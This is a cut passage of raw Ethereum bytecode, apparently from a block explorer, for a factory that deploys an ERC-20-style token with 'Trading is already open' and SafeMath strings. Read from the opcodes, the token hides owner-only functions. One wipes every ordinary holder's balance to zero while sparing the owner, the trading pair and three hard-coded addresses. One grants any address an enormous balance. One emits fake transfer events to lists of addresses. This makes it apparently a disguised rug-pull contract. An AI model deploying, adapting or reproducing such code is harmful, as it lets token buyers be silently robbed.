d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108c9190611fbe565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111143060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6110ff9190611e2f565b64174876e80061110f9190611e79565b611321565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061115c3061088e565b5f5f6111666109d4565b426040518863ffffffff1660e01b815260040161118896959493929190612049565b60606040518083038185885af11580156111a4573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111c991906120bc565b5050506001600860146101000a81548160ff021916908315150217905550565b6111f16116f0565b73ffffffffffffffffffffffffffffffffffffffff1661120f6109d4565b73ffffffffffffffffffffffffffffffffffffffff161461122e575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611265575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361138f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113869061217c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f49061220a565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d79190611a9c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361151b575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611552575f5ffd5b6115a28160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116f790919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116338160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461174f90919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061167d836117ac565b611686826117ac565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e39190611a9c565b60405180910390a3505050565b5f33905090565b5f8282111561173b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173290612272565b60405180910390fd5b81836117479190612290565b905092915050565b5f5f828461175d91906122c3565b9050838110156117a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179990612340565b60405180910390fd5b8091505092915050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411156118f4575f5f90505f5f90505b60058054905081101561188b578273ffffffffffffffffffffffffffffffffffffffff166005828154811061183257611831611eba565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361187e576001915061188b565b80806001019150506117fa565b50806118f257600582908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611939826118f7565b6119438185611901565b9350611953818560208601611911565b61195c8161191f565b840191505092915050565b5f6020820190508181035f83015261197f818461192f565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119b88261198f565b9050919050565b6119c8816119ae565b81146119d2575f5ffd5b50565b5f813590506119e3816119bf565b92915050565b5f819050919050565b6119fb816119e9565b8114611a05575f5ffd5b50565b5f81359050611a16816119f2565b92915050565b5f5f60408385031215611a3257611a31611987565b5b5f611a3f858286016119d5565b9250506020611a5085828601611a08565b9150509250929050565b5f8115159050919050565b611a6e81611a5a565b82525050565b5f602082019050611a875f830184611a65565b92915050565b611a96816119e9565b82525050565b5f602082019050611aaf5f830184611a8d565b92915050565b5f5f5f60608486031215611acc57611acb611987565b5b5f611ad9868287016119d5565b9350506020611aea868287016119d5565b9250506040611afb86828701611a08565b9150509250925092565b5f60ff82169050919050565b611b1a81611b05565b82525050565b5f602082019050611b335f830184611b11565b92915050565b5f60208284031215611b4e57611b4d611987565b5b5f611b5b848285016119d5565b91505092915050565b611b6d816119ae565b82525050565b5f602082019050611b865f830184611b64565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f840112611bad57611bac611b8c565b5b8235905067ffffffffffffffff811115611bca57611bc9611b90565b5b602083019150836020820283011115611be657611be5611b94565b5b9250929050565b5f5f60208385031215611c0357611c02611987565b5b5f83013567ffffffffffffffff811115611c2057611c1f61198b565b5b611c2c85828601611b98565b92509250509250929050565b5f5f60408385031215611c4e57611c4d611987565b5b5f611c5b858286016119d5565b9250506020611c6c858286016119d5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611cba57607f821691505b602082108103611ccd57611ccc611c76565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115611d5557808604811115611d3157611d30611cd3565b5b6001851615611d405780820291505b8081029050611d4e85611d00565b9450611d15565b94509492505050565b5f82611d6d5760019050611e28565b81611d7a575f9050611e28565b8160018114611d905760028114611d9a57611dc9565b6001915050611e28565b60ff841115611dac57611dab611cd3565b5b8360020a915084821115611dc357611dc2611cd3565b5b50611e28565b5060208310610133831016604e8410600b8410161715611dfe5782820a905083811115611df957611df8611cd3565b5b611e28565b611e0b8484846001611d0c565b92509050818404811115611e2257611e21611cd3565b5b81810290505b9392505050565b5f611e39826119e9565b9150611e4483611b05565b9250611e717fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611d5e565b905092915050565b5f611e83826119e9565b9150611e8e836119e9565b9250828202611e9c816119e9565b91508282048414831517611eb357611eb2611cd3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611f13611f0e611f0984611ee7565b611ef0565b6119e9565b9050919050565b611f2381611ef9565b82525050565b5f602082019050611f3c5f830184611f1a565b92915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f611f76601783611901565b9150611f8182611f42565b602082019050919050565b5f6020820190508181035f830152611fa381611f6a565b9050919050565b5f81519050611fb8816119bf565b92915050565b5f60208284031215611fd357611fd2611987565b5b5f611fe084828501611faa565b91505092915050565b5f604082019050611ffc5f830185611b64565b6120096020830184611b64565b9392505050565b5f819050919050565b5f61203361202e61202984612010565b611ef0565b6119e9565b9050919050565b61204381612019565b82525050565b5f60c08201905061205c5f830189611b64565b6120696020830188611a8d565b612076604083018761203a565b612083606083018661203a565b6120906080830185611b64565b61209d60a0830184611a8d565b979650505050505050565b5f815190506120b6816119f2565b92915050565b5f5f5f606084860312156120d3576120d2611987565b5b5f6120e0868287016120a8565b93505060206120f1868287016120a8565b9250506040612102868287016120a8565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612166602483611901565b91506121718261210c565b604082019050919050565b5f6020820190508181035f8301526121938161215a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121f4602283611901565b91506121ff8261219a565b604082019050919050565b5f6020820190508181035f830152612221816121e8565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f61225c601e83611901565b915061226782612228565b602082019050919050565b5f6020820190508181035f83015261228981612250565b9050919050565b5f61229a826119e9565b91506122a5836119e9565b92508282039050818111156122bd576122bc611cd3565b5b92915050565b5f6122cd826119e9565b91506122d8836119e9565b92508282019050808211156122f0576122ef611cd3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61232a601b83611901565b9150612335826122f6565b602082019050919050565b5f6020820190508181035f8301526123578161231e565b905091905056fea2646970667358221220b5d162d0cd7e29740f26830efa9231d76e8afcefd72c14cc410906c0b3e9eea864736f6c634300081c0033a2646970667358221220f3dcabd36d6bf4fc11208bf9566f85bab2ba1596e54ce0f9876935207964558664736f6c634300081c0033

Deployed Bytecode

0x60806040526004361061002c575f3560e01c806349eea8c914610037578063c01547361461006157610033565b3661003357005b5f5ffd5b348015610042575f5ffd5b5061004b610091565b6040516100589190610150565b60405180910390f35b61007b60048036038101906100769190610310565b610096565b60405161008891906103bb565b60405180910390f35b5f5481565b5f5f5434146100a3575f5ffd5b5f34868686866040516100b59061012b565b6100c29493929190610434565b6040518091039082f09050801580156100dd573d5f5f3e3d5ffd5b5090507f54e1ed11e58e09b51023a1ef2f609b1d1c17fea6ba3432eea973e9a51f604f7e8187878787604051610117959493929190610485565b60405180910390a180915050949350505050565b61370b806104e583390190565b5f819050919050565b61014a81610138565b82525050565b5f6020820190506101635f830184610141565b92915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6101c882610182565b810181811067ffffffffffffffff821117156101e7576101e6610192565b5b80604052505050565b5f6101f9610169565b905061020582826101bf565b919050565b5f67ffffffffffffffff82111561022457610223610192565b5b61022d82610182565b9050602081019050919050565b828183375f83830152505050565b5f61025a6102558461020a565b6101f0565b9050828152602081018484840111156102765761027561017e565b5b61028184828561023a565b509392505050565b5f82601f83011261029d5761029c61017a565b5b81356102ad848260208601610248565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6102df826102b6565b9050919050565b6102ef816102d5565b81146102f9575f5ffd5b50565b5f8135905061030a816102e6565b92915050565b5f5f5f5f6080858703121561032857610327610172565b5b5f85013567ffffffffffffffff81111561034557610344610176565b5b61035187828801610289565b945050602085013567ffffffffffffffff81111561037257610371610176565b5b61037e87828801610289565b935050604061038f878288016102fc565b92505060606103a0878288016102fc565b91505092959194509250565b6103b5816102d5565b82525050565b5f6020820190506103ce5f8301846103ac565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f610406826103d4565b61041081856103de565b93506104208185602086016103ee565b61042981610182565b840191505092915050565b5f6080820190508181035f83015261044c81876103fc565b9050818103602083015261046081866103fc565b905061046f60408301856103ac565b61047c60608301846103ac565b95945050505050565b5f60a0820190506104985f8301886103ac565b81810360208301526104aa81876103fc565b905081810360408301526104be81866103fc565b90506104cd60608301856103ac565b6104da60808301846103ac565b969550505050505056fe60806040525f600860146101000a81548160ff02191690831515021790555060405161370b38038061370b833981810160405281019061003f9190610bd6565b61004d61031e60201b60201c565b5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36101148261032560201b60201c565b662386f26fc100003414610126575f5ffd5b83600190816101359190610e82565b5082600290816101459190610e82565b50662386f26fc100006009819055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101d96103e86101cb60016009600a6101ad91906110b9565b64174876e8006101bd9190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102ae6103e86102a060016009600a61028291906110b9565b64174876e8006102929190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b6040516102bb9190611153565b60405180910390a36102d161053760201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f19350505050158015610314573d5f5f3e3d5ffd5b505050505061136a565b5f33905090565b61033361031e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166103576109ab60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614610376575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036103ad575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f5f8303610479575f90506104da565b5f82846104869190611103565b90508284826104959190611199565b146104d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cc90611249565b60405180910390fd5b809150505b92915050565b5f5f8211610523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051a906112b1565b60405180910390fd5b818361052f9190611199565b905092915050565b5f61057e6103e86105706103e46009600a61055291906110b9565b64174876e8006105629190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b90505f6105c66103e86105b860026009600a61059a91906110b9565b64174876e8006105aa9190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b90505f61060e6103e861060060016009600a6105e291906110b9565b64174876e8006105f29190611103565b61046960201b90919060201c565b6104e060201b90919060201c565b90506106748360035f7350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d260201b90919060201c565b60035f7350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061072d8260035f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d260201b90919060201c565b60035f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506107e68160035f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d260201b90919060201c565b60035f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055507350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108ac9190611153565b60405180910390a373551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109259190611153565b60405180910390a373edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161099e9190611153565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f5f82846109e091906112cf565b905083811015610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c9061134c565b60405180910390fd5b8091505092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610a8e82610a48565b810181811067ffffffffffffffff82111715610aad57610aac610a58565b5b80604052505050565b5f610abf610a2f565b9050610acb8282610a85565b919050565b5f67ffffffffffffffff821115610aea57610ae9610a58565b5b610af382610a48565b9050602081019050919050565b8281835e5f83830152505050565b5f610b20610b1b84610ad0565b610ab6565b905082815260208101848484011115610b3c57610b3b610a44565b5b610b47848285610b00565b509392505050565b5f82601f830112610b6357610b62610a40565b5b8151610b73848260208601610b0e565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ba582610b7c565b9050919050565b610bb581610b9b565b8114610bbf575f5ffd5b50565b5f81519050610bd081610bac565b92915050565b5f5f5f5f60808587031215610bee57610bed610a38565b5b5f85015167ffffffffffffffff811115610c0b57610c0a610a3c565b5b610c1787828801610b4f565b945050602085015167ffffffffffffffff811115610c3857610c37610a3c565b5b610c4487828801610b4f565b9350506040610c5587828801610bc2565b9250506060610c6687828801610bc2565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610cc057607f821691505b602082108103610cd357610cd2610c7c565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610d357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610cfa565b610d3f8683610cfa565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610d83610d7e610d7984610d57565b610d60565b610d57565b9050919050565b5f819050919050565b610d9c83610d69565b610db0610da882610d8a565b848454610d06565b825550505050565b5f5f905090565b610dc7610db8565b610dd2818484610d93565b505050565b5b81811015610df557610dea5f82610dbf565b600181019050610dd8565b5050565b601f821115610e3a57610e0b81610cd9565b610e1484610ceb565b81016020851015610e23578190505b610e37610e2f85610ceb565b830182610dd7565b50505b505050565b5f82821c905092915050565b5f610e5a5f1984600802610e3f565b1980831691505092915050565b5f610e728383610e4b565b9150826002028217905092915050565b610e8b82610c72565b67ffffffffffffffff811115610ea457610ea3610a58565b5b610eae8254610ca9565b610eb9828285610df9565b5f60209050601f831160018114610eea575f8415610ed8578287015190505b610ee28582610e67565b865550610f49565b601f198416610ef886610cd9565b5f5b82811015610f1f57848901518255600182019150602085019450602081019050610efa565b86831015610f3c5784890151610f38601f891682610e4b565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610fd357808604811115610faf57610fae610f51565b5b6001851615610fbe5780820291505b8081029050610fcc85610f7e565b9450610f93565b94509492505050565b5f82610feb57600190506110a6565b81610ff8575f90506110a6565b816001811461100e576002811461101857611047565b60019150506110a6565b60ff84111561102a57611029610f51565b5b8360020a91508482111561104157611040610f51565b5b506110a6565b5060208310610133831016604e8410600b841016171561107c5782820a90508381111561107757611076610f51565b5b6110a6565b6110898484846001610f8a565b925090508184048111156110a05761109f610f51565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6110c382610d57565b91506110ce836110ad565b92506110fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610fdc565b905092915050565b5f61110d82610d57565b915061111883610d57565b925082820261112681610d57565b9150828204841483151761113d5761113c610f51565b5b5092915050565b61114d81610d57565b82525050565b5f6020820190506111665f830184611144565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6111a382610d57565b91506111ae83610d57565b9250826111be576111bd61116c565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6112336021836111c9565b915061123e826111d9565b604082019050919050565b5f6020820190508181035f83015261126081611227565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f61129b601a836111c9565b91506112a682611267565b602082019050919050565b5f6020820190508181035f8301526112c88161128f565b9050919050565b5f6112d982610d57565b91506112e483610d57565b92508282019050808211156112fc576112fb610f51565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611336601b836111c9565b915061134182611302565b602082019050919050565b5f6020820190508181035f8301526113638161132a565b9050919050565b612394806113775f395ff3fe608060405260043610610101575f3560e01c8063715018a611610094578063a37e0a6411610063578063a37e0a6414610310578063a9059cbb14610338578063dd62ed3e14610374578063e8078d94146103b0578063f2fde38b146103c657610108565b8063715018a61461027e5780638da5cb5b146102945780638f8af1e1146102be57806395d89b41146102e657610108565b80632d9f2d96116100d05780632d9f2d96146101d8578063313ce567146101ee57806349eea8c91461021857806370a082311461024257610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f5ffd5b348015610117575f5ffd5b506101206103ee565b60405161012d9190611967565b60405180910390f35b348015610141575f5ffd5b5061015c60048036038101906101579190611a1c565b61047e565b6040516101699190611a74565b60405180910390f35b34801561017d575f5ffd5b50610186610494565b6040516101939190611a9c565b60405180910390f35b3480156101a7575f5ffd5b506101c260048036038101906101bd9190611ab5565b6104b8565b6040516101cf9190611a74565b60405180910390f35b3480156101e3575f5ffd5b506101ec610572565b005b3480156101f9575f5ffd5b50610202610880565b60405161020f9190611b20565b60405180910390f35b348015610223575f5ffd5b5061022c610888565b6040516102399190611a9c565b60405180910390f35b34801561024d575f5ffd5b5061026860048036038101906102639190611b39565b61088e565b6040516102759190611a9c565b60405180910390f35b348015610289575f5ffd5b506102926108d4565b005b34801561029f575f5ffd5b506102a86109d4565b6040516102b59190611b73565b60405180910390f35b3480156102c9575f5ffd5b506102e460048036038101906102df9190611bed565b6109fb565b005b3480156102f1575f5ffd5b506102fa610b73565b6040516103079190611967565b60405180910390f35b34801561031b575f5ffd5b5061033660048036038101906103319190611b39565b610c03565b005b348015610343575f5ffd5b5061035e60048036038101906103599190611a1c565b610d76565b60405161036b9190611a74565b60405180910390f35b34801561037f575f5ffd5b5061039a60048036038101906103959190611c38565b610d8c565b6040516103a79190611a9c565b60405180910390f35b3480156103bb575f5ffd5b506103c4610e0e565b005b3480156103d1575f5ffd5b506103ec60048036038101906103e79190611b39565b6111e9565b005b6060600180546103fd90611ca3565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611ca3565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484611321565b6001905092915050565b5f6009600a6104a39190611e2f565b64174876e8006104b39190611e79565b905090565b5f6104c48484846114e4565b610567846104d06116f0565b6105628560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051a6116f0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116f790919063ffffffff16565b611321565b600190509392505050565b61057a6116f0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d1575f5ffd5b5f5f90505b60058054905081101561087d575f600582815481106105f8576105f7611eba565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561069157506106616109d4565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156106ea575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561073657507350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610782575073551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156107db575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610827575073edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1561086f575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5080806001019150506105d6565b50565b5f6009905090565b60095481565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108dc6116f0565b73ffffffffffffffffffffffffffffffffffffffff166108fa6109d4565b73ffffffffffffffffffffffffffffffffffffffff1614610919575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a036116f0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5a575f5ffd5b5f5f90505b82829050811015610b6e57600160035f858585818110610a8257610a81611eba565b5b9050602002016020810190610a979190611b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff16838383818110610afe57610afd611eba565b5b9050602002016020810190610b139190611b39565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001604051610b599190611f29565b60405180910390a38080600101915050610a5f565b505050565b606060028054610b8290611ca3565b80601f0160208091040260200160405190810160405280929190818152602001828054610bae90611ca3565b8015610bf95780601f10610bd057610100808354040283529160200191610bf9565b820191905f5260205f20905b815481529060010190602001808311610bdc57829003601f168201915b5050505050905090565b610c0b6116f0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62575f5ffd5b6009600a610c709190611e2f565b6009600a610c7e9190611e2f565b64174876e800610c8e9190611e79565b610c989190611e79565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a610d369190611e2f565b6009600a610d449190611e2f565b64174876e800610d549190611e79565b610d5e9190611e79565b604051610d6b9190611a9c565b60405180910390a350565b5f610d823384846114e4565b6001905092915050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e166116f0565b73ffffffffffffffffffffffffffffffffffffffff16610e346109d4565b73ffffffffffffffffffffffffffffffffffffffff1614610e53575f5ffd5b600860149054906101000a900460ff1615610ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9a90611f8c565b60405180910390fd5b73a6ad18c2ac47803e193f75c3677b14bf19b9488360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f61573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f859190611fbe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561100b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102f9190611fbe565b6040518363ffffffff1660e01b815260040161104c929190611fe9565b6020604051808303815f875af1158015611068573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108c9190611fbe565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111143060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6110ff9190611e2f565b64174876e80061110f9190611e79565b611321565b60075f9